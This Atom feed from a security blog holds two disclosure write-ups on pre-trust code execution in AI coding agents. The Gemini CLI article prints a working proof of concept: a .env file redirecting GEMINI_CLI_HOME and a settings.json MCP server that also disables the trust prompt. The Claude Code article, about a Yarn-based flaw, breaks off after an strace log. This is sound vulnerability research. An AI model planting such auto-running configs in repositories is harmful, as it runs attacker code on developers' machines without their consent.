<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>pwned.info</title>
  <subtitle>Disassembling security, one exploit at a time.</subtitle>
  <link href="https://www.pwned.info/atom.xml" rel="self"/>
  <link href="https://www.pwned.info"/>
  <id>https://www.pwned.info/</id>
  <updated>2026-06-04T08:54:45+02:00</updated>
  <author><name>pwned.info</name></author>
  
  <entry>
    <title>Homing in on Arbitrary Code Execution within Gemini CLI</title>
    <link href="https://www.pwned.info/articles/homing-in-on-arbitrary-code-execution-within-gemini-cli/"/>
    <id>https://www.pwned.info/articles/homing-in-on-arbitrary-code-execution-within-gemini-cli/</id>
    <updated>2026-06-04T08:54:45+02:00</updated>
    <published>2026-06-04T08:54:45+02:00</published>
    
    <author><name>+_+</name></author>
    
    
    <summary type="html">Three months ago, I found the time to try out Gemini CLI, an agentic coding chatbot just like Claude Code. Since we already discovered a high-severity arbitrary code execution in Anthropic&#x27;s Claude Code which I wrote about here before, I couldn&#x27;t stop myself wondering whether a similar vulnerability exists in Gemini CLI. It does.</summary>
    
    <content type="html">&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;Three months ago, I found the time to try out Gemini CLI, an agentic coding chatbot just like Claude Code.
Since we already discovered a high-severity arbitrary code execution in Anthropic&#x27;s Claude Code, which I wrote about here before&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, I couldn&#x27;t stop myself wondering whether a similar vulnerability exists in Gemini CLI.&lt;/p&gt;
&lt;p&gt;It does.&lt;/p&gt;
&lt;p&gt;In short: &lt;em&gt;this vulnerability allowed attackers, who can trick a victim to start Gemini CLI prior to version 0.39.0 within an untrusted directory, to gain arbitrary code execution.
User interaction, such as acceptance of the startup trust dialog, was not necessary.
Although Google has not officially confirmed the patch, this issue appears to be resolved in version 0.39.0.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;At the time of writing, this vulnerability is not tracked publicly as Google declined to issue a CVE.&lt;/p&gt;
&lt;p&gt;A proof of concept is published on GitHub.&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2&gt;The Vulnerability&lt;/h2&gt;
&lt;p&gt;Like Claude Code, Gemini CLI also features a startup trust prompt.
This means that when you launch the tool, it first asks you whether you trust the files in your current working directory.
It has to ask you because all coding agents are practically LLMs operating a bash shell directly for you, and LLMs break down when fed untrusted data; they cannot differentiate between instructions and data (see this wonderful post about this: &lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;).
In addition, such tools also allow you to configure MCP servers, hooks, and other primitives, all of which often constitute a command execution by design if they were to load such a configuration without first requiring your consent.
I was after the latter.&lt;/p&gt;
&lt;p&gt;Since the &lt;code&gt;strace -f -e trace=execve -o out.log gemini&lt;/code&gt; approach used to find the vulnerability in Claude Code was not fruitful, I decided to take a look at exactly such configuration files.&lt;/p&gt;
&lt;p&gt;Crucially, Gemini CLI allows you to place configuration files directly into your working directory, for instance, to allow you to store a predefined project-specific configuration inside a Git repository.
One setting that can be abused to execute arbitrary commands is to specify an MCP server within &lt;code&gt;$PWD/.gemini/settings.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;poc-test&quot;: {
      &quot;command&quot;: &quot;touch&quot;,
      &quot;args&quot;: [
        &quot;proof.txt&quot;
      ],
      &quot;timeout&quot;: 5000
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This configuration is automatically loaded when Gemini CLI is launched and runs the specified command.
Unfortunately for us, this configuration is only loaded &lt;em&gt;after&lt;/em&gt; the trust prompt and would require the user to confirm that our totally useful MCP server is legit and trustworthy:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwned.info/img/gemini_settings_trust.png&quot; alt=&quot;Trust dialog appearing when modified settings are contained within a directory&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However, there also exists the setting &lt;code&gt;security.folderTrust.enabled&lt;/code&gt;, which disables the trust dialog entirely if configured.
What if we could combine the two to bypass the trust prompt entirely?
Well, it turns out that if we specify both in the project-specific configuration, Gemini CLI now even includes a security warning on top:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwned.info/img/gemini_settings_trust_with_bypass_attempt.png&quot; alt=&quot;Trust dialog with security when security.folderTrust.enabled is configured to be false&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From this we can conclude that the configuration design must be implemented in a way where there exist implicitly trusted locations (such as a configuration file in &lt;code&gt;/etc&lt;/code&gt;) and locations requiring the user&#x27;s consent, such as the project-specific configuration we&#x27;re dealing with (&lt;code&gt;$PWD/.gemini/settings.json&lt;/code&gt;).
This is somewhat hinted at in the Gemini CLI documentation&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Configuration is applied in the following order of precedence (lower numbers are overridden by higher numbers):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Default values: Hardcoded defaults within the application.&lt;/li&gt;
&lt;li&gt;System defaults file: System-wide default settings that can be overridden by other settings files.&lt;/li&gt;
&lt;li&gt;User settings file: Global settings for the current user.&lt;/li&gt;
&lt;li&gt;Project settings file: Project-specific settings.&lt;/li&gt;
&lt;li&gt;System settings file: System-wide settings that override all other settings files.&lt;/li&gt;
&lt;li&gt;Environment variables: System-wide or session-specific variables, potentially loaded from .env files.&lt;/li&gt;
&lt;li&gt;Command-line arguments: Values passed when launching the CLI.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;When I read this, the &lt;code&gt;.env&lt;/code&gt; file loading &quot;session-specific variables&quot; caught my attention—specifically, the &lt;code&gt;GEMINI_CLI_HOME&lt;/code&gt; environment variable.
The documentation notes the following:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;GEMINI_CLI_HOME:
&lt;ul&gt;
&lt;li&gt;Specifies the root directory for Gemini CLI’s user-level configuration and storage.&lt;/li&gt;
&lt;li&gt;By default, this is the user’s system home directory. The CLI will create a .gemini folder inside this directory.&lt;/li&gt;
&lt;li&gt;Useful for shared compute environments or keeping CLI state isolated.&lt;/li&gt;
&lt;li&gt;Example: export GEMINI_CLI_HOME=&quot;/path/to/user/config&quot; (Windows PowerShell: $env:GEMINI_CLI_HOME=&quot;C:\path\to\user\config&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;So if this variable would accept a relative file path, and we could inject it into Gemini CLI somehow, we could pivot the trusted user configuration directory into our own malicious project directory?
To verify if this hypothesis works, I created the directory structure shown below:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ tree -a
.
├── .env
└── totallylegit
    └── .gemini
        └── settings.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;.env&lt;/code&gt; file was configured to override the CLI home directory:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;GEMINI_CLI_HOME=&quot;./totallylegit&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;settings.json&lt;/code&gt; contained the MCP server configuration to run &lt;code&gt;touch proof.txt&lt;/code&gt; and disabled the folder trust:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;poc-test&quot;: {
      &quot;command&quot;: &quot;touch&quot;,
      &quot;args&quot;: [
        &quot;proof.txt&quot;
      ],
      &quot;timeout&quot;: 5000
    }
  },
  &quot;security&quot;: {
    &quot;folderTrust&quot;: {
      &quot;enabled&quot;: false
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And when we run it, we find that the trust prompt does not show up and the MCP server is immediately started, leading to our arbitrary command execution:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwned.info/img/gemini_poc.png&quot; alt=&quot;Successful exploit bypassing the trust dialog and creating the proof.txt file&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Therefore, the &lt;code&gt;GEMINI_CLI_HOME&lt;/code&gt; environment variable is read from the &lt;code&gt;.env&lt;/code&gt; file and changes the location of the fully trusted Gemini CLI user configuration at &lt;code&gt;$HOME/.gemini&lt;/code&gt; to be directly in our own malicious working directory.
Subsequently, this configuration is read and, due to inheriting the trust of the user configuration, the folder trust is disabled without requiring consent from the user.&lt;/p&gt;
&lt;p&gt;Alas, it turns out the documentation for the &lt;code&gt;GEMINI_CLI_HOME&lt;/code&gt; variable is incomplete, and it is also useful for bypassing trust prompts.&lt;/p&gt;
&lt;p&gt;Lastly, thanks to Google for awarding a bounty of 500 USD for this vulnerability.
This bounty will be donated once it is paid out by them.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-03-04&lt;/strong&gt;: Identified the vulnerability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-05&lt;/strong&gt;: Reported the vulnerability through Google Bughunters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-20&lt;/strong&gt;: Google accepted the vulnerability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-26&lt;/strong&gt;: Bounty awarded under the category &quot;Insecure Defaults or Confusing Permissions&quot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-27&lt;/strong&gt;: We asked whether a CVE would be assigned and requested an estimated timeline for a fix.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-16&lt;/strong&gt;: Google declined CVE assignment on the basis that it does not meet &quot;specific criteria required for publication.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-05-01&lt;/strong&gt;: We asked Google to reconsider due to the high impact and Google&#x27;s commitment to vulnerability transparency.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-05-05&lt;/strong&gt;: Google declined CVE assignment on the basis that the internally assigned severity (S2) &quot;does not satisfy the required threshold.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-05-11&lt;/strong&gt; to Present: We initiated a CVE Record Dispute process with MITRE. This process is still ongoing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-04&lt;/strong&gt;: Publication of this article.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Footnotes&lt;/h2&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;1&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;1&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://www.pwned.info/articles/using-claude-to-hack-claude-code/&quot;&gt;https://www.pwned.info/articles/using-claude-to-hack-claude-code/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;2&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;2&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/b-faller/poc-gemini-cli-code-execution&quot;&gt;https://github.com/b-faller/poc-gemini-cli-code-execution&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;3&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;3&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://mastodon.social/@jcoglan/114578519639197293&quot;&gt;https://mastodon.social/@jcoglan/114578519639197293&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;4&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;4&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://geminicli.com/docs/reference/configuration/#configuration-layers&quot;&gt;https://geminicli.com/docs/reference/configuration/#configuration-layers&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  
  <entry>
    <title>Using Claude to Hack Claude Code</title>
    <link href="https://www.pwned.info/articles/using-claude-to-hack-claude-code/"/>
    <id>https://www.pwned.info/articles/using-claude-to-hack-claude-code/</id>
    <updated>2025-12-19T10:32:54+01:00</updated>
    <published>2025-12-19T10:32:54+01:00</published>
    
    <author><name>+_+</name></author>
    
    
    <summary type="html">How a Sunday evening attempt to summarize a long voice message turned into discovering a high-severity command execution vulnerability in Anthropic&#x27;s Claude Code.</summary>
    
    <content type="html">&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;Claude Code&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#6&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; is a coding chatbot developed by Anthropic which can be installed on one&#x27;s computer to combine the Claude LLM with the local filesystem and shell.
In the recent months, Claude Code has been rightfully an object of interest and subject to various independent security research, through which different security flaws have been identified.
For instance, just recently SpecterOps showed how it was possible to bypass the various security features, which attempt to prevent command execution, when Claude Code is run on untrusted code.&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#1&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;
This article details a vulnerability in Claude Code my good friend Michael and I discovered in the early days of the application.&lt;/p&gt;
&lt;p&gt;In short: &lt;em&gt;this vulnerability allowed attackers, who can trick a victim to start Claude Code prior to version 1.0.39 within an untrusted directory, to gain arbitrary code execution.
Exploitation would have required any version of the Yarn package manager to be installed on the target machine.
User interaction, such as acceptance of the startup trust dialog, was not necessary.
This issue has been patched in version 1.0.39.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The vulnerability is tracked under &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-59828&quot;&gt;CVE-2025-59828&lt;/a&gt;/&lt;a href=&quot;https://github.com/anthropics/claude-code/security/advisories/GHSA-2jjv-qf24-vfm4&quot;&gt;GHSA-2jjv-qf24-vfm4&lt;/a&gt; and &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-65099&quot;&gt;CVE-2025-65099&lt;/a&gt;/&lt;a href=&quot;https://github.com/anthropics/claude-code/security/advisories/GHSA-5hhx-v7f6-x7gv&quot;&gt;GHSA-5hhx-v7f6-x7gv&lt;/a&gt;, and has been assigned a CVSS v4.0 score of &lt;a href=&quot;https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&quot;&gt;7.7 (High)&lt;/a&gt;.
It should be noted that at the time of writing, the information given in the CVEs and GitHub advisories may not be fully accurate regarding the affected Yarn versions.
This is due to Anthropic publishing two advisories and CVEs for the same flaw.
Based on our tests this attack is successful on all Yarn versions using the &lt;code&gt;yarnPath&lt;/code&gt; technique and from version 2.0.0-rc.23 for the plugin technique.&lt;/p&gt;
&lt;p&gt;A Proof of Concept (PoC) applicable to Claude Code and Yarn using both the plugin and &lt;code&gt;yarnPath&lt;/code&gt; technique is published on GitHub.&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#5&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2&gt;Preface&lt;/h2&gt;
&lt;p&gt;One Sunday evening I found myself with an over 15-minute-long voice message.
It was then, that I really wished I had a tool which could summarize the main points made in the message, so that I would not have to use pen and paper to make notes while listening to it three times over.
That was the time when I remembered that Michael mentioned Claude Code a while ago.
Back then, Claude Code seemed to be the new and shiny star of the AI revolution which promised to interface both with Claude and files on your system directly and help solve all your problems.
So I decided to give it a try.
Quickly after installing it, I noticed that I would only be able to use it with a Pro subscription.
Soon, I realized that I had just spent 200 USD to try this thing and said to myself &quot;this better be worth it&quot; and signed in to the CLI.
After I transcribed the voice message using OpenAI&#x27;s Whisper, I summarized the text file using Claude Code and answered the message.
Then, my curiosity caught up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How is this tool implemented and what is being sent from my device?&lt;/li&gt;
&lt;li&gt;What is their threat model and how do they handle shell access?&lt;/li&gt;
&lt;li&gt;What kind of security vulnerabilities could there be?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That&#x27;s when I figured I wanted to take a closer look.&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#2&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2&gt;Threat Modeling for the Curious&lt;/h2&gt;
&lt;p&gt;The first thing I thought about was the threat model of this application.
What exactly would be the worst-case scenario for such a software?
I figured one of the severely problematic scenarios would be, if a web component could be poisoned or compromised, and this would somehow lead to remote code execution on all Claude Code installations.
But: I did not want to test anything that was not happening on my own device and thus considered other vectors which happen only locally.&lt;/p&gt;
&lt;p&gt;Luckily, Claude Code gives us already a good idea for such a worst-case scenario; right when you type the command &lt;code&gt;claude&lt;/code&gt; into your favorite shell and hit enter:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.pwned.info/img/claude_warning.png&quot; alt=&quot;Being prompted to trust the folders after issuing the claude command&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When you see past the slightly mushy language you&#x27;ll realize that selecting &quot;Yes, proceed&quot; will basically lead to code execution if you run Claude Code on a malicious folder.
Therefore, finding a vulnerability after trusting the repository was immediately less interesting to me, since in my opinion that would not be regarded a vulnerability, just an inadequate threat model, missing sandboxing or poor application design, depending on how cynical you are.
So what would be the real deal?
For me, that was if I&#x27;d run Claude Code on some untrusted directory and malicious code is being executed without ever confirming the dialog.
And that exactly is the vulnerability that we found.&lt;/p&gt;
&lt;h2&gt;The Vulnerability&lt;/h2&gt;
&lt;p&gt;Based on our hypothetical attack vector, it must be concluded that essentially all vulnerable actions are executed before the prompt is even confirmed.
In the past, development tools like Visual Studio Code occasionally made the mistake of executing commands such as &lt;code&gt;npm&lt;/code&gt; to gain environmental information.&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#10&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;
Doing so can be an issue since the untrusted data within the folder may contain files which influence the behavior of such command executed by the tooling.
At that point, I did not expect that such a vulnerability would exist since it would be more sensible to run risky commands only after the folder is trusted.
Nevertheless, I decided to verify this anyway.&lt;/p&gt;
&lt;p&gt;Under Linux, program executions can be easily traced since all roads to execution will essentially lead to the &lt;code&gt;execve&lt;/code&gt; system call.
Using the &lt;code&gt;strace -f -e trace=execve -o out.log claude&lt;/code&gt; command we can trace all &lt;code&gt;execve&lt;/code&gt; system calls made until the &lt;code&gt;claude&lt;/code&gt; program exits.
This revealed the following output when we just typed &lt;code&gt;claude&lt;/code&gt; into a terminal (slightly truncated):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;21301 execve(&quot;/home/[REDACTED]/.local/bin/claude&quot;, [&quot;claude&quot;], 0x7ffd696d4a88 /* 49 vars */) = 0
21301 execve(&quot;/home/[REDACTED]/.cargo/bin/node&quot;, [&quot;node&quot;, &quot;--no-warnings&quot;, &quot;--enable-source-maps&quot;, &quot;/home/[REDACTED]/.local/bin/claude&quot;], 0x7fffecaf2238 /* 49 vars */) = -1 ENOENT (No such file or directory)
21301 execve(&quot;/home/[REDACTED]/.local/bin/node&quot;, [&quot;node&quot;, &quot;--no-warnings&quot;, &quot;--enable-source-maps&quot;, &quot;/home/[REDACTED]/.local/bin/claude&quot;], 0x7fffecaf2238 /* 49 vars */) = -1 ENOENT (No such file or directory)
21301 execve(&quot;/home/[REDACTED]/bin/node&quot;, [&quot;node&quot;, &quot;--no-warnings&quot;, &quot;--enable-source-maps&quot;, &quot;/home/[REDACTED]/.local/bin/claude&quot;], 0x7fffecaf2238 /* 49 vars */) = -1 ENOENT (No such file or directory)
21301 execve(&quot;/usr/local/bin/node&quot;, [&quot;node&quot;, &quot;--no-warnings&quot;, &quot;--enable-source-maps&quot;, &quot;/home/[REDACTED]/.local/bin/claude&quot;], 0x7fffecaf2238 /* 49 vars */) = -1 ENOENT (No such file or directory)
21301 execve(&quot;/usr/bin/node&quot;, [&quot;node&quot;, &quot;--no-warnings&quot;, &quot;--enable-source-maps&quot;, &quot;/home/[REDACTED]/.local/bin/claude&quot;], 0x7fffecaf2238 /* 49 vars */) = 0
21308 +++ exited with 0 +++
21313 execve(&quot;/bin/sh&quot;, [&quot;/bin/sh&quot;, &quot;-c&quot;, &quot;git rev-parse --show-toplevel&quot;], 0x55acf6fbb970 /* 52 vars */) = 0
21313 execve(&quot;/usr/bin/git&quot;, [&quot;git&quot;, &quot;rev-parse&quot;, &quot;--show-toplevel&quot;], 0x557bdd7441c0 /* 52 vars */) = 0
21313 +++ exited with 128 +++
21301 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21313, si_uid=1000, si_status=128, si_utime=0, si_stime=0} ---
21314 execve(&quot;/home/[REDACTED]/.cargo/bin/npm&quot;, [&quot;npm&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21314 execve(&quot;/home/[REDACTED]/.local/bin/npm&quot;, [&quot;npm&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21314 execve(&quot;/home/[REDACTED]/bin/npm&quot;, [&quot;npm&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21314 execve(&quot;/usr/local/bin/npm&quot;, [&quot;npm&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21314 execve(&quot;/usr/bin/npm&quot;, [&quot;npm&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = 0
21315 execve(&quot;/home/[REDACTED]/.cargo/bin/bun&quot;, [&quot;bun&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21315 execve(&quot;/home/[REDACTED]/.local/bin/bun&quot;, [&quot;bun&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21315 execve(&quot;/home/[REDACTED]/bin/bun&quot;, [&quot;bun&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21315 execve(&quot;/usr/local/bin/bun&quot;, [&quot;bun&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21315 execve(&quot;/usr/bin/bun&quot;, [&quot;bun&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21315 +++ exited with 127 +++
21301 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21315, si_uid=1000, si_status=127, si_utime=0, si_stime=0} ---
21316 execve(&quot;/home/[REDACTED]/.cargo/bin/deno&quot;, [&quot;deno&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21316 execve(&quot;/home/[REDACTED]/.local/bin/deno&quot;, [&quot;deno&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21316 execve(&quot;/home/[REDACTED]/bin/deno&quot;, [&quot;deno&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21316 execve(&quot;/usr/local/bin/deno&quot;, [&quot;deno&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21316 execve(&quot;/usr/bin/deno&quot;, [&quot;deno&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21316 +++ exited with 127 +++
21301 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21316, si_uid=1000, si_status=127, si_utime=0, si_stime=0} ---
21317 execve(&quot;/home/[REDACTED]/.cargo/bin/node&quot;, [&quot;node&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21317 execve(&quot;/home/[REDACTED]/.local/bin/node&quot;, [&quot;node&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21317 execve(&quot;/home/[REDACTED]/bin/node&quot;, [&quot;node&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21317 execve(&quot;/usr/local/bin/node&quot;, [&quot;node&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21317 execve(&quot;/usr/bin/node&quot;, [&quot;node&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = 0
21317 +++ exited with 0 +++
21301 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21317, si_uid=1000, si_status=0, si_utime=1 /* 0.01 s */, si_stime=0} ---
21327 +++ exited with 0 +++
[...]
21302 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21314, si_uid=1000, si_status=0, si_utime=17 /* 0.17 s */, si_stime=3 /* 0.03 s */} ---
21328 execve(&quot;/home/[REDACTED]/.cargo/bin/yarn&quot;, [&quot;yarn&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21328 execve(&quot;/home/[REDACTED]/.local/bin/yarn&quot;, [&quot;yarn&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = 0
21328 execve(&quot;/home/[REDACTED]/.cargo/bin/node&quot;, [&quot;node&quot;, &quot;/home/[REDACTED]/.local/bin/yarn&quot;, &quot;--version&quot;], 0x7ffe76ccd310 /* 52 vars */) = -1 ENOENT (No such file or directory)
21328 execve(&quot;/home/[REDACTED]/.local/bin/node&quot;, [&quot;node&quot;, &quot;/home/[REDACTED]/.local/bin/yarn&quot;, &quot;--version&quot;], 0x7ffe76ccd310 /* 52 vars */) = -1 ENOENT (No such file or directory)
21328 execve(&quot;/home/[REDACTED]/bin/node&quot;, [&quot;node&quot;, &quot;/home/[REDACTED]/.local/bin/yarn&quot;, &quot;--version&quot;], 0x7ffe76ccd310 /* 52 vars */) = -1 ENOENT (No such file or directory)
21328 execve(&quot;/usr/local/bin/node&quot;, [&quot;node&quot;, &quot;/home/[REDACTED]/.local/bin/yarn&quot;, &quot;--version&quot;], 0x7ffe76ccd310 /* 52 vars */) = -1 ENOENT (No such file or directory)
21328 execve(&quot;/usr/bin/node&quot;, [&quot;node&quot;, &quot;/home/[REDACTED]/.local/bin/yarn&quot;, &quot;--version&quot;], 0x7ffe76ccd310 /* 52 vars */) = 0
21338 +++ exited with 0 +++
[...]
21301 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21328, si_uid=1000, si_status=0, si_utime=38 /* 0.38 s */, si_stime=5 /* 0.05 s */} ---
21339 execve(&quot;/home/[REDACTED]/.cargo/bin/pnpm&quot;, [&quot;pnpm&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = -1 ENOENT (No such file or directory)
21339 execve(&quot;/home/[REDACTED]/.local/bin/pnpm&quot;, [&quot;pnpm&quot;, &quot;--version&quot;], 0x55acf6bd7210 /* 52 vars */) = 0
21339 execve(&quot;/home/[REDACTED]/.cargo/bin/node&quot;, [&quot;node&quot;, &quot;/home/[REDACTED]/.local/bin/pnpm&quot;, &quot;--version&quot;], 0x7ffecb810630 /* 52 vars */) = -1 ENOENT (No such file or directory)
21339 execve(&quot;/home/[REDACTED]/.local/bin/node&quot;, [&quot;node&quot;, &quot;/home/[REDACTED]/.local/bin/pnpm&quot;, &quot;--version&quot;], 0x7ffecb810630 /* 52 vars */) = -1 ENOENT (No such file or directory)
21339 execve(&quot;/home/[REDACTED]/bin/node&quot;, [&quot;node&quot;, &quot;/home/[REDACTED]/.local/bin/pnpm&quot;, &quot;--version&quot;], 0x7ffecb810630 /* 52 vars */) = -1 ENOENT (No such file or directory)
21339 execve(&quot;/usr/local/bin/node&quot;, [&quot;node&quot;, &quot;/home/[REDACTED]/.local/bin/pnpm&quot;, &quot;--version&quot;], 0x7ffecb810630 /* 52 vars */) = -1 ENOENT (No such file or directory)
21339 execve(&quot;/usr/bin/node&quot;, [&quot;node&quot;, &quot;/home/[REDACTED]/.local/bin/pnpm&quot;, &quot;--version&quot;], 0x7ffecb810630 /* 52 vars */) = 0
21350 +++ exited with 0 +++
[...]
21339 --- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=21339, si_uid=1000} ---
21341 +++ exited with 0 +++
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This showed that multiple tools were being executed by Claude such as &lt;code&gt;git&lt;/code&gt;, &lt;code&gt;npm&lt;/code&gt;, and &lt;code&gt;yarn&lt;/code&gt;.
Specifically, calls like &lt;code&gt;execve(&quot;/usr/bin/bun&quot;, [&quot;bun&quot;, &quot;--version&quot;])&lt;/code&gt; are caused by Claude executing the program, likely to determine if and which version of Bun is installed.
But what if such a command could be influenced by the directory it is being executed in?&lt;/p&gt;
&lt;h3&gt;Claude, Please Find Me an Exploit&lt;/h3&gt;
&lt;p&gt;As can be seen, those were a lot of programs being executed by Claude Code, and it would be many calls to go through by hand in order to verify whether they are safe to run.
